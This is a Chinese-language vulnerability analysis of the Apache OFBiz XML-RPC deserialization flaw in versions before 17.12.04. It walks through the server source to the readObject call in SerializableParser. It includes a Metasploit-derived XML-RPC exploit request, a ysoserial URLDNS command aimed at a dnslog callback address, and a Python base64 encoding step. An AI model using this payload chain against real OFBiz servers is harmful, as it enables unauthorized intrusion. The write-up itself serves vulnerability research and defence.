Ofbiz XML-Rpc 反序列化漏洞 博客分类: ofbiz
程序员文章站
2024-03-02 09:45:28
...
漏洞影响版本# < 17.12.04版本
漏洞请求地址:
https://xxxxx/webtools/control/xmlrpc
当post一个xml的poc过去后,如果返回包里同时存在
faultString,No such service faultString ,methodResponse
证明有漏洞存在。
根据/webtools/control/xmlrpc可知,我们去看webtools下的源码,来到webapp目录下的web.xml查看路由情况。
<servlet> <description>Main Control Servlet</description> <display-name>ControlServlet</display-name> <servlet-name>ControlServlet</servlet-name> <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>ControlServlet</servlet-name> <url-pattern>/control/*</url-pattern> </servlet-mapping>
通过代码可知道,我们control下面的uri都是转发到ControlServlet控制器当中。跳转到org.apache.ofbiz.webapp.control.ControlServlet的源码,在doPost里打下断点。
根据经验,下面这段代码才是路由器功能具体细分的代码,在这之前是对一些列的环境变量进行复制。
try { // the ServerHitBin call for the event is done inside the doRequest method requestHandler.doRequest(request, response, null, userLogin, delegator); }
跟入doRequest函数,走一遍看看。走完第一遍,再走第二遍的时候,根据注释// run the request event可以知道!
这块会根据uri的不同进行java反射机制跳转到对应的控制类进行操作。跟入runEvent函数:
public String runEvent(HttpServletRequest request, HttpServletResponse response, ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException { EventHandler eventHandler = eventFactory.getEventHandler(event.type); String eventReturn = eventHandler.invoke(event, requestMap, request, response); if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module); return eventReturn; } invoke的出现大概的佐证了我们的想法。跟入invoke:
public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException { String report = request.getParameter("echo"); if (report != null) { BufferedReader reader = null; StringBuilder buf = new StringBuilder(); try { // read the inputstream buffer String line; reader = new BufferedReader(new InputStreamReader(request.getInputStream())); while ((line = reader.readLine()) != null) { buf.append(line).append("\n"); } } catch (Exception e) { throw new EventHandlerException(e.getMessage(), e); } finally { if (reader != null) { try { reader.close(); } catch (IOException e) { throw new EventHandlerException(e.getMessage(), e); } } } Debug.logInfo("Echo: " + buf.toString(), module); // echo back the request try { response.setContentType("text/xml"); Writer out = response.getWriter(); out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>"); out.write("<methodResponse>"); out.write("<params><param>"); out.write("<value><string><![CDATA["); out.write(buf.toString()); out.write("]]></string></value>"); out.write("</param></params>"); out.write("</methodResponse>"); out.flush(); } catch (Exception e) { throw new EventHandlerException(e.getMessage(), e); } } else { try { this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response)); } catch (XmlRpcException e) { Debug.logError(e, module); throw new EventHandlerException(e.getMessage(), e); } } return null; } 来到this.execute函数,跟入: public void execute(XmlRpcStreamRequestConfig pConfig, ServerStreamConnection pConnection) throws XmlRpcException { try { Object result = null; boolean foundError = false; try (InputStream istream = getInputStream(pConfig, pConnection)) { XmlRpcRequest request = getRequest(pConfig, istream); result = execute(request); } catch (Exception e) { Debug.logError(e, module); foundError = true; } ByteArrayOutputStream baos; OutputStream initialStream; if (isContentLengthRequired(pConfig)) { baos = new ByteArrayOutputStream(); initialStream = baos; } else { baos = null; initialStream = pConnection.newOutputStream(); } try (OutputStream ostream = getOutputStream(pConnection, pConfig, initialStream)) { if (!foundError) { writeResponse(pConfig, ostream, result); } else { writeError(pConfig, ostream, new Exception("Failed to read XML-RPC request. Please check logs for more information")); } } if (baos != null) { try (OutputStream dest = getOutputStream(pConfig, pConnection, baos.size())) { baos.writeTo(dest); } } pConnection.close(); pConnection = null; } catch (IOException e) { throw new XmlRpcException("I/O error while processing request: " + e.getMessage(), e); } finally { if (pConnection != null) { try { pConnection.close(); } catch (IOException e) { Debug.logError(e, "Unable to close stream connection"); } } } }
获取到了value的值,我们跟入看看getRequest函数。
protected XmlRpcRequest getRequest(final XmlRpcStreamRequestConfig pConfig, InputStream pStream) throws XmlRpcException { final XmlRpcRequestParser parser = new XmlRpcRequestParser(pConfig, getTypeFactory()); final XMLReader xr = SAXParsers.newXMLReader(); xr.setContentHandler(parser); try { xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); xr.setFeature("http://xml.org/sax/features/external-general-entities", false); xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xr.parse(new InputSource(pStream)); } catch (SAXException | IOException e) { throw new XmlRpcException("Failed to parse / read XML-RPC request: " + e.getMessage(), e); } final List<?> params = parser.getParams(); return new XmlRpcRequest() { public XmlRpcRequestConfig getConfig() { return pConfig; } public String getMethodName() { return parser.getMethodName(); } public int getParameterCount() { return params == null ? 0 : params.size(); } public Object getParameter(int pIndex) { return params.get(pIndex); } }; } 在xr.parse(new InputSource(pStream));对input流数据进行了处理。 利用msf的exp进行发送测试:
POST /webtools/control/xmlrpc HTTP/1.1 Host: localhost:8443 Content-Type: text/xml Content-Length: 643 <?xml version="1.0"?> <methodCall> <methodName>#{rand_text_alphanumeric(8..42)}</methodName> <params> <param> <value> <struct> <member> <name>#{rand_text_alphanumeric(8..42)}</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
在调试器看到:
从源码上debug不到后,我就根据调试器里的报错来查看具体的类:
根据报错,我们知道了,有内容base64解码错误。根据exp可知道<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>这里面的内容应该是base64后的内容。
然后给<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">MTEx</serializable>再次发送。
断点在SerializableParser:
public class SerializableParser extends ByteArrayParser { public Object getResult() throws XmlRpcException { try { byte[] res = (byte[]) super.getResult(); ByteArrayInputStream bais = new ByteArrayInputStream(res); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); } catch (IOException e) { throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e); } catch (ClassNotFoundException e) { throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e); } } }
可知进行readObject是我们base64后的内容,即到达反序列化入口点。
开始利用漏洞:
1.如果没有ysoserial工具,这里下载:
https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码:qdfc
2.http://www.dnslog.cn/ 获取一个可请求的地址
使用java -jar yso.jar URLDNS "http://你的地址" > url.bin,然后:
3.使用Python转Class为Base64
import base64 # payload = open("url.bin").read() with open("./url.bin",'rb') as file: payload = file.read() bbs = base64.b64encode(payload) print(bbs)
反序列化工具ysoserial很强大,还有很多功能,具体学习请看
http://www.mamicode.com/info-detail-2407213.html
参考与[url]https:// www.cnblogs.com/ph4nt0mer/p/135767391.html[/url]